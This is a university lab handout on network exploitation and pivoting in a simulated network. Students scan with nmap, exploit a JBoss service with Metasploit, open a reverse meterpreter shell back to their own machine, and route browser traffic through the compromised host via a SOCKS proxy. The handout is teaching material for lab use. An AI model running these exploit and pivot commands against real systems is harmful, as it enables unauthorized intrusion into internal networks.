CS 4177: Software Vulnerabilities

WORKSHOP: EXPLOITATION AND PIVOTING

Slides adopted from the joint ARL/UTEP CCAA Center and CyWAR lab.

Security Awareness is Essential

"Know your enemy and know yourself and you can fight a hundred battles without disaster."

-Sun Tzu (Author of Art of War)
Do not try this at home

- Do not use the knowledge from this course for unethical and/or illegal purposes

**WARNING!**

Never tamper without written consent.
This can lead to academic suspension, legal prosecution, prevent you from getting a job, ...

---

Network Routing is essentially a Mail System

Mail is routed across several postal sites
Network Routing is essentially a Mail System

Package Path:
1. Site A
2. Site B
3. Site D
4. Site F
5. destination

Instead of sites, we use IP Addresses

Traffic is routed across several network routers
Instead of sites, we use IP Addresses

Traffic Path:
1. 11.0.0.1
2. 12.0.0.1
3. 14.0.0.1
4. 16.0.0.1
5. 10.0.4.10

Firewalls are used to restrict access from unauthorized network locations

only certain traffic is allowed to pass through the firewall (e.g., web)
Pivoting allows adversaries to gain trusted access

Internet
source
11.0.0.2

11.0.0.3
router

12.0.0.1
VULNERABLE
Public Webserver

Company Network

10.0.0.1
router

12.0.0.1
router

only certain traffic is allowed to pass through the firewall (e.g., web)

10.0.4.10

company-
internal
webserver

10.0.2.10

10.0.4.1
11.0.0.1
12.0.0.1
13.0.0.1

10.0.4.10

only certain traffic is allowed to pass through the firewall (e.g., web)
Obtaining illegitimate access to internal networks may require only a single, vulnerable point of entry. Adversaries exploit vulnerable hosts and use them as stepping stones to bypass firewalls, intrusion detection systems, and other defense mechanisms.

In this exercise, you will learn about the tools and methodologies that attackers use to pivot through networks.

**Your goal is to access an internal webserver (10.0.4.3)**

While dumpster diving, you were able to obtain the following Figure.
Step 1– Scan Your Local Area Network

Nmap, or the network mapper, is a tool used by security analysts to identify devices that are accessible on the network. It is also used to identify services (websites, ssh servers, etc.) that are running on these devices.

1. If your screen is blank, hit enter and then login using the following credential:
   
   username: root
   password: toor

2. Start a new terminal by clicking on the Terminal icon on the left side of the screen:

3. You will now give your computer an IP address on the simulated network. This will allow you to communicate with other devices. In your terminal window type the following:
   
   ```
   ifconfig eth0 10.0.0.2/24 up
   ```

4. Run the following command to identify live hosts and services in your local area network (notice that the dash “-” is used to specify a range of IP addresses).
   
   ```
   nmap 10.0.0.0-255
   ```

5. The results are shown per device (or IP address). What is the IP address of the device that is running the ospfd service?
   
   10.0.0.___
   
   Replace the ?? (A) on the Network Scenario Figure with your answer

The OSPF service is used for routing; you will need to set this as your “default gateway” in order to access other networks.

6. In your terminal window type the following:
   
   ```
   route add default gw <answer to 5>
   ```

Click on and attempt to access the internal webserver (10.0.4.3). You can do this by navigating to http://10.0.4.3 (you’ll notice that this doesn’t work because the firewall is filtering traffic from your location in the network).
Step 2– Identifying Web Services

Web interfaces are sometimes used for configuring services. It is often the case that these web interfaces use ports 80 (standard http port), 443 (standard https port), but may also use other non-standard ports such as 8080, 8443 and others.

You can read the nmap manual page by typing the following:

    man nmap

7. Use the manual page and look for the -p option. Provide a sample command that you can use to scan ports 80 and 8080 on the IP Address range 10.0.2.0-255.

    nmap __________________

8. Using nmap, scan the list of known networks (hint: look at the Network Scenario Figure on the front page to identify IP address ranges to scan) specifically on ports 80 and 8080. Answer the following questions based you’re your results:

   a. How many device IP addresses are responding (that is, are listed as “up”)?
      ____________

   b. What is the IP address of the device with port 8080/tcp open?
      ____________

   Replace the ?? (B) on the Network Scenario Figure with your answer

   c. What does nmap “think” the name of this service is?
      ____________

9. Using the browser (Firefox) navigate to the following URL:

    http://<answer to 8b>:8080/

10. What is the name of the service that is running (hint: five letters)?

    __ __ __ __ __
Step 3– Exploiting a Vulnerable Web Service

Metasploit is a well-known security analysis tool that contains plugins that can be used for reconnaissance (e.g., probing services), exploitation, and also for conducting post-exploitation activities such as pivoting.

11. In your terminal window, type the following (this may take a minute or two to complete):

   ```
   msfconsole
   ```

12. Type the following to search for plugins that contain information about the service that you identified in <10>:

   ```
   search <answer to question 10>
   ```

13. From the results (look at the name and description columns), identify which of the modules we can use to scan the service for vulnerabilities. Fill in the entire name here:

   ```
   auxiliary/scanner/_______________________________________
   ```

14. Before using the module, we need to specify that we want to configure the module. Type the following:

   ```
   use <answer to question 13>
   ```

15. To view the options, type the following:

   ```
   show options
   ```

   you should see the following options:

<table>
<thead>
<tr>
<th>Name</th>
<th>Current Setting</th>
<th>Required</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Proxies</td>
<td>no</td>
<td></td>
<td>A proxy chain of format type:host:port[,type:host:port][...]</td>
</tr>
<tr>
<td>RHOSTS</td>
<td>yes</td>
<td></td>
<td>The target address range or CIDR Identifier</td>
</tr>
<tr>
<td>RPORT</td>
<td>80</td>
<td>yes</td>
<td>The target port</td>
</tr>
<tr>
<td>SSL</td>
<td>False</td>
<td>no</td>
<td>Negotiate SSL/TLS for outgoing connections</td>
</tr>
<tr>
<td>THREADS</td>
<td>1</td>
<td>yes</td>
<td>The number of concurrent threads</td>
</tr>
<tr>
<td>VERB</td>
<td>HEAD</td>
<td>yes</td>
<td>Verb for auth bypass testing</td>
</tr>
<tr>
<td>VHOST</td>
<td>no</td>
<td></td>
<td>HTTP server virtual host</td>
</tr>
</tbody>
</table>

16. The next step is to set the remote host and remote port information. Type the following:

   ```
   set RHOSTS <answer to 8b>
   ```

   ```
   set RPORT 8080
   ```
17. Execute the scanner by typing:

    run

18. The vulnerabilities are listed with green 

    [+]  

Write down the last (5th from the top) vulnerability that is listed:

    ________________________________

19. Re-run your search for plugins:

    search <answer to question 10>

20. Write down the exploit that, based on its name, is most related to <answer to 18>

    ________________________________

21. Just as with the scanner, you need to configure the exploit that you will use. Type the following:

    use <answer to 20>

    show options

You should see the following options:

<table>
<thead>
<tr>
<th>Name</th>
<th>Current Setting</th>
<th>Required</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>APPBASE</td>
<td></td>
<td>no</td>
<td>Application base name, (default: random)</td>
</tr>
<tr>
<td>JSP</td>
<td></td>
<td>no</td>
<td>JSP name to use without .jsp extension (default: random)</td>
</tr>
<tr>
<td>Proxies</td>
<td></td>
<td>no</td>
<td>A proxy chain of format type:host:port[,]type:host:port[...]</td>
</tr>
<tr>
<td>RHOST</td>
<td>8888</td>
<td>yes</td>
<td>The target address</td>
</tr>
<tr>
<td>RPORT</td>
<td></td>
<td>yes</td>
<td>The target port</td>
</tr>
<tr>
<td>SSL</td>
<td>true</td>
<td>no</td>
<td>Negotiate SSL/TLS for outgoing connections</td>
</tr>
<tr>
<td>TARGETURI</td>
<td>/invoker/JMXInvokerServlet</td>
<td>yes</td>
<td>The URI path of the invoker servlet</td>
</tr>
<tr>
<td>VHOST</td>
<td></td>
<td>no</td>
<td>HTTP server virtual host</td>
</tr>
</tbody>
</table>

22. Now you must configure the remote host information:

    set RHOST <answer to 8b>

23. You also have to specify what should happen after this vulnerability is exploited. This is done by attributing a payload to the exploit (again you are still configuring the exploit; you have not launched anything yet). Type the following:

    set payload java/meterpreter/reverse_http

    set SRVPORT 1081

    set LHOST 10.0.0.2
You have selected a payload that will start a **meterpreter** shell on the compromised machine and will call back to the analyst’s machine. You can think of a meterpreter shell as a terminal with many additional features; it allows you to migrate to other processes, capture password hashes, take snapshots, and several others.

24. You are now ready to launch the exploit. Type

```
exploit
```

If you did everything correctly, you should now have a meterpreter shell. Your screen should look like the following:

```
[*] Started HTTP reverse handler on http://0.0.0.0:8080/
[*] Attempting to automatically select a target
[*] Attempting to automatically detect the platform
[*] Automatically selected target: "Linux x86"
[*] Deploying stager
[*] Calling stager: /ITWCF4agx2tIE/HHYagsQghBuPZs.jsp
[*] Uploading payload through stager
[*] Calling payload: /IxmwtDocLu/3fpmhVlBlz.jsp
[*] Removing payload through stager
[*] Removing stager
[*] 10.0.2.2:46395 (UUID: 027b715b5a2f50f8/Java=17/Javabyte=4/2016-02-23T20:44:17Z) Staging Java payload ...
[*] Meterpreter session 1 opened (10.0.0.2:8080 -> 10.0.2.2:46395) at 2016-02-23 13:00:48 -6700
```

```
meterpreter >
```
Step 4 – Using the Compromised System as a Pivot

Metasploit uses the concept of sessions. You can set, for example, a meterpreter session to run in the background while you scan other machines.

25. Send the current meterpreter session to the background so that you can setup your pivot.
   Type:

   background

   sessions

You should see the following window:

```
metpreter > background
[~] Backgrounding session 1...
msf exploit[jboss_invoke_deploy] > sessions
Active sessions
-------------------
   Id  Type                  Information                        Connection
            -------------------                -------------------
    1  meterpreter java/java root @ n5  10.0.0.2:8080 -> 10.0.2.2:46395 (10.0.2.2)
msf exploit[jboss_invoke_deploy] > 
```

Metasploit comes with the socks4a proxy server that is capable of using routes through compromised machines to funnel traffic.

26. Configure metasploit to use the compromised system (specifically, the meterpreter session) as a pivot to access the 10.0.4.x network (the one with the internal webserver). Type the following:

```
route add 10.0.4.0 255.255.255.0 1
```

   network id    netmask    session number
use auxiliary/server/socks4a

show options  (Notice that SRVPORT is set to 1080)

run

27. Now you need to setup your browser (Firefox) to use the pivot. In your browser, click on the Open Menu button.
28. Next, Click on Preferences -> Advanced and Network Tab. Finally, click on Settings button.

![Preferences Advanced Network Settings](image)

29. Ensure that your browser settings reflect the following:

![Connection Settings](image)

30. Navigate to the [http://10.0.4.3](http://10.0.4.3)

If you did everything correctly, you should see a login page.

Congratulations! You have completed the exercise.

**Please raise your hand and notify the coordinators.**